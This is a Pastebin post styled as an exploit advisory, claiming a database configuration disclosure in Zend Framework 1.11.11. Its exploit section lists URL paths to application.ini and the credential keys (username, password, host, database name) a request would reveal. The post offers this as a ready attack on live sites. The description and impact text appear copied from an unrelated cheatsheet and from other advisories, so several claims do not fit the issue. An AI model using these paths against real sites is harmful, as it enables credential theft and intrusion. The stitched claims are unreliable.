Advertisement
KingSkrupellos

Zend Framework 1.11.11 Database Config Disclosure

Feb 13th, 2019
145
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.55 KB | None | 0 0
  1. ####################################################################
  2.  
  3. # Exploit Title : Zend Framework 1.11.11 Database Config Disclosure
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 14/02/2019
  7. # Vendor Homepage : zend.com
  8. # Software Download Link : zend.com/en/company/community/framework/downloads
  9. # Software Information Link : framework.zend.com/changelog/1.11.11
  10. github.com/feibeck/application.ini
  11. # Software Affected Version : 1.11.11 and other previous versions.
  12. Zend Framework 2.4 full - Version: 2.4.9
  13. Zend Framework + PHP 5.6 Stack : Zend Server Free Trial Version: 8.5.0
  14. # Tested On : Windows and Linux
  15. # Category : WebApps
  16. # Exploit Risk : Medium
  17. # Vulnerability Type : CWE-16 [ Configuration ] ~ CWE-200 [ Information Exposure ]
  18. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  19. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  20. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  21.  
  22. ####################################################################
  23.  
  24. # Description about Software :
  25. ***************************
  26. Zend Framework is a collection of professional PHP packages.
  27.  
  28. APPLICATION.INI CheatSheet for your Zend Framework Application
  29.  
  30. Collection of all available configuration options via Zend_Application
  31. and it's bootstrap resources.
  32.  
  33. Should work with Zend Framework 1.11.11
  34.  
  35. Use this file as application.ini in your applications config folder. Uncomment
  36. and set all options that your application needs. Alternatively use this file
  37. as a cheatsheet and copy all needed options to your application.ini.
  38.  
  39. ####################################################################
  40.  
  41. # Impact :
  42. ***********
  43. Zend Framework 1.11.11 [ and other versions ] configuration file may potentially
  44.  
  45. disclose sensitive information to remote attackers.
  46.  
  47. The configuration file that Zend Framework 1.11.11 stored in /application/configs/application.ini
  48.  
  49. HTTP requests consisting of a single character will cause the software to
  50.  
  51. disclose sensitive configuration information, including the password/database to the administrative web interface.
  52.  
  53. This file is installed, by default, with world readable and possibly world writeable permissions enabled.
  54.  
  55. This may have some potentially serious consequences as the configuration
  56.  
  57. file also stores password information in plain text.
  58.  
  59. This issue occurs because access controls on configuration files are not properly set.
  60.  
  61. An attacker can exploit this issue to retrieve potentially sensitive information.
  62.  
  63. Attackers can access config file via URL request. This may aid in further attacks.
  64.  
  65. ####################################################################
  66.  
  67. # Configuration File Disclosure Exploit :
  68. **********************************
  69.  
  70. /application/configs/application.ini
  71.  
  72. /application.ini
  73.  
  74. resources.db.adapter = ""
  75. resources.db.params.host = ""
  76. resources.db.params.username=""
  77. resources.db.params.password=""
  78. resources.db.params.dbname=""
  79.  
  80. app_db.adapter =
  81. app_db.config.host =
  82. app_db.config.username =
  83. app_db.config.password =
  84. app_db.config.dbname =
  85.  
  86. resources.multidb.name1.adapter =
  87. resources.multidb.name1.dbname =
  88. resources.multidb.name1.username =
  89. resources.multidb.name1.password =
  90. resources.multidb.name1.host =
  91. resources.multidb.name1.default =
  92. resources.multidb.name1.charset =
  93.  
  94. ####################################################################
  95.  
  96. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  97.  
  98. ####################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement